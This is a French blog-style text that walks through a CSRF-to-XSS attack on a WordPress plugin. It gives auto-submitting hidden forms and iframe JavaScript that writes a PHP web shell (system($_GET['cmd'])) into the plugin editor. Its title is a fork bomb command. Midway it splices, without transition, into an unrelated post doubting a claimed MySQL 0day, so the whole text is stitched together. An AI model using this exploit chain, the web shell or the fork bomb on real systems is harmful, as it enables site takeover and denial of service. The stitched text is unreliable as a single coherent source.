OK, What’s the :(){:|:&};: ?

Premier ingrédient, une extension vulnérable. Pour cela, il ne faut pas aller chercher très loin, une simple recherche dans les extensions les plus populaires de Wordpress vous permettra de trouver votre bonheur en XSS, CSRF et autres trucs marrants. Perso, j’ai choisi WP Page Number, car elle est utilisée par beaucoup de blogs *han la-la je fais du full disc*. Cette dernière est vulnérable aux deux failles donc voici comment va se dérouler l’attaque :

1. Exécution d’une CSRF lambda par POST afin d’exécuter une XSS.
2. A partir de cette XSS, réalisation d’une iframe et exécution d’un script.
3. Modification des éléments DOM de la page « framée » afin de backdoorer un contenu.
4. Envoi de la soupe avec la fonction « submit ».

J’ai perdu personne ? Bon, passons de la théorie à la pratique.

Step 1. Mise en place de la première CSRF

Afin de réaliser la première CSRF en POST, il faut simplement réaliser un petit formulaire qui s’envoie automatiquement dès que la victime charge la page. Plusieurs techniques sont alors possibles dans les évènements DOM pour réaliser cela. Perso, j’ai mon petit faible pour onerror avec une image malle interprétée mais l’on peut utiliser des onload, onfocus (html5) ou onmouseover et un peu de CSS etc.

Donc on y va ! Un simple form en display:none fera l’affaire. Exemple :

<form action=’ ‘ method=’post’ id=’blop’ style=’display:none’></form>
<img src=’x’ onerror=’blop.submit()’>

Ensuite, on regarde le nombre de champs que possède notre plugin, soit à la main, long et chiant, soit en utilisant Tamperdata. On s’aperçoit peu après que hô magie, seuls deux champs sont obligatoires. Donc on refait notre super form avec les deux champs et on teste l’injection de code HTML.

<form action=’ [plugin URL]‘ method=’post’ id=’blop’ style=’display:none’>
<input name=’submitted’ value=’yes’>
<input name=’page_of_page_text’ value=’ »/><h1>lol</h1>’>
</form>
<img src=’x’ onerror=’blop.submit()’>

Et une belle image pour émoustiller le public…

Yes ! It works ! Great. Bon, on passe à des choses un peu plus ardues. Nous avons réalisé l’exploitation de notre première CSRF aboutissant à une exécution de code en client side sur le domaine visé. Pour ceux qui ont l’habitude d’auditer pour le fun des extensions Wordpress, une grande partie est vulnérable aux XSS (par exemple, All in one SEO), en ce qui concerne les CSRF, c’est un peu plus limité. Cependant, dès que ça l’est, cela peut faire très mal et c’est ce que nous allons voir.

Step 2. Contournement des protections anti-CSRF de WP.

J’ai commencé cette exploitation en « backbox » donc je reste en « blackbox ». Dès qu’on a une XSS sur un domaine, la plupart des protections anti-CSRF par token sautent du fait de la possible récupération en Javascript du token permettant de sécuriser la transaction (eh oui, SOP n’est plus d’aucune utilité). D’ailleurs, une attaque de type « Return-to-jQuery » peut permettre la récupération du token et l’envoi du formulaire visé en une ligne.

Cependant, face à ce type d’attaque, Wordpress à l’air de résister. Je ne suis pas allé dans le code chercher quelle était la fonction qui rendait la tâche plus ardue. Cependant, ma petite idée est simple : anti-CSRF = (token + contrôle du referer). Pour contourner ce petit problème, j’ai cherché quelques minutes et j’ai trouvé, il suffit d’interagir avec une iframe.

Le concept est simple : on « frame » la page contenant le formulaire protégé par token que l’on veut envoyer, on interagit avec les éléments du formulaire directement à partir de la page parente afin de changer les contenu des inputs et d’envoyer le tout. Cela permet ainsi de casser la deuxième protection anti-CSRF liée au referer.

Step 3. Développement de l’exploit.

Donc c’est parti ! On crée une nouvelle iframe que l’on injectera avec du code javascript lors de l’exécution de notre première CSRF sur l’extension vulnérable. Cette iframe devra être composée d’une simple source. A cette iframe, on ajoute un code Javascript qui réalisera plusieurs choses :

• Ajout d’un shell au textarea du formulaire « framé »
• Changement de l’attribut « name » de l’input « submit »
• Lancement de l’attaque en envoyant le bon formulaire dans le contexte de la page framée.

Le code « final » de l’exploitation de la deuxième « CSRF protégée » grâce à une iframe aura donc cette allure :

<script>

function exploit(){

var content = frames[0].document.getElementById(’newcontent’);
var inputs = frames[0].document.getElementsByTagName(’input’);
content.value=’<?php echo system($_GET["cmd"]); ?>’;
inputs[7].setAttribute( »name », »");
frames[0].document.forms[1].submit()’;

}
</script>

<body onload=’javascript:exploit()’></body>
<iframe src=’[URL]/plugin-editor.php?plugin=hello.php’ width=’0′ height=’0′>

Quelques explications peuvent être utiles face à ce petit bout de code. Tout d’abord, il remplace le contenu du textarea contenant le code source du plugin hello.php par un shell. Ensuite, il récupère l’élément submit avec lequel on veut interagir et enlève son nom. Pourquoi ? Je ne le sais pas, apparemment le moteur JS aime pas lorsque deux éléments ont le même nom sur une page, donc j’ai trouvé cette unique solution. Ensuite, nous voulons envoyer le formulaire donc il nous faut faire exécuter par le deuxième formulaire une simple fonction submit().

Voilà, à partir de là, vous avez juste à rendre le code peu portable le code pour lui permettre de bypasser des protections telles que les magic_quotes et de le lier avec ce qu’il a été fait à l’étape 1 (je ne vais pas tout vous donner sur un plateau). Pour information, si j’ai mis une deuxième balise body, c’est simplement pour exécuter automatiquement le script exploit (les évènements concurrents DOM du style « onerror » ne fonctionnant pas).

Évidemment, j’ai pris Wordpress, car cela était un cas assez intéressant, mais nous aurions pu prendre d’autres CMS, les plugins vulnérables développés par des « amateurs » ce n’est pas ce qui manque sur l’internet.

Step 4. Contre-mesures.

Afin de contrer ce type de menaces, plusieurs contre mesures peuvent être mises en place. Tout d’abord, limiter le nombre d’extensions au strict nécessaire. De plus, un WAF/IDS (mod_security, phpids etc.) sympa pourrait permettre de limiter ce type de désagréments même si, configuré par défaut, il limitera l’édition d’articles et de pages sur votre blog. Enfin, rien ne vaut un bon Noscript afin de limiter l’exécution de codes malveillants en client side.

Outre le fait que ce dernier est un 0day, cet exploit risque de faire très mal tant pour l’image de la firme MySQL que pour les millions de serveurs faisant tourner ce service ouvertement sur l’internet sans aucune protection particulière dans les restrictions d’accès ou le cloisonnement du processus.

Bref, qu’en est-il vraiment ? A mon avis, je pense de plus en plus à une vraie vidéo, mais je doute de plus en plus d’un vrai exploit. Quelques les éléments ci-dessous me sifflent dans l’oreille :

- Le site internet est très -trop – basique, le blog aussi pour tout vous avouer. Cependant, un whois sur ce dernier montre que le nom de domaine n’est pas récent comme on pourrait le penser. Mais un internet archive ne trouve rien.

- La société qui possède 5000 résultats de recherches sur Google prétend sur le forum d’Immunity vendre un de ses packs d’exploits 250$, cela fait très – trop – peu pour des possibles 0 Days, surtout de cette envergue. Elle a semble-il découverte la vulnérabilité en Aout, pourquoi pendant tout ce temps, elle n’a (semble-t-il – là encore) prévenu MySQL de cette brèche ?

- Nous connaissions déjà certaines possibilités de mise en place de portes dérobées sur des serveurs MySQL telles que le tool Raptor qui permettait d’ouvrir un shell sur un MySQL disposé sur Windows – ou par l’intermédiaire d’SQL injections sur un serveur web, encore fallait-il que le serveur MySQL tourne sur ce précédent serveur et que les droits UNIX soient bafoués pour que cela marche. Cependant, avec cette vidéo, on peut penser que l’exploit ne requiert pas d’authentification sur le serveur visé ou même un support/module de MySQL installé. D’ailleurs, j’aime le « Note – the exploit has been edited to be less verbose. » #WTF.

- Vous avez entendu parler un week of data base bugs prochainement ? Perso NaN. Dans les commentaires du blog ils prétendent démontrer la vulnérabilité durant cette semaine… j’aimerai bien savoir si quelqu’un à des infos, bizarrement, Google n’en a pas non plus. Normal, ce sont « eux » qui « les » organisent (sachant qu’il y a qu’un russe dernière cette société)…

Bref, je reste très septique sur cette vulnérabilité et je pense que – si elle existe – elle n’est pas effective sur une installation par défaut de MySQL. Entre 0 et 10 sur le point de la crédibilité, je mettrai 3, pas plus. Cependant, si elle existe bien et qu’elle est possible sur une installation par défaut – il y en a qui voient la vierge partout depuis que des vulnz en remote ont été découvertes sur OBSD ; il faudra faire quelques mises à jour ou appliquer quelques sécurités supplémentaires telles que :

- La définition des droits d’accès à MySQL afin que seuls certains hosts puissent s’y connecter (ce qui d’ailleurs devrait être toujours fait). Non seulement au point de vue de l’authentification de certains l’ensemble des utilisateurs dans la configuration des users de MySQL que de l’accès au serveur devant être régit par un FW.

- Chrooter de processus afin qu’une possible ouverture de shell ne puisse pas aboutir à de plus amples dégâts tels que de rooting de la Box ou la découverte de la topologie du réseau (de la DMZ) distant(e).

- Et enfin, le changement du port par défaut de MySQL (3306) afin d’éviter les bots et diverses attaques automatisées sur des comptes si ce serveur est accessible à partir de l’Internet. Cependant, cette protection ne sert à rien si le pirate a déjà sous son emprise le client se connectant sur le serveur. #FAIL

Bref, l’attente est la conclusion de cet article. Dans quelques jours nous serons fixés sur cette affaire même si à mon avis, nous aurons déjà oublié cet épisode dont la véritable finalité était de vendre quelques packs d’exploits exploitant des vulnérabilités se revendiquant critiques alors qu’il n’en est rien.

NB : Après la re-visualisation de la vidéo, je me suis aperçu d’un « req #1, req #2″ pendant l’exécution de l’exploit. Cela laisserait donc suggérer qu’il faut être authentifié auprès du serveur MySQL afin d’ouvrir un shell sur la BOX.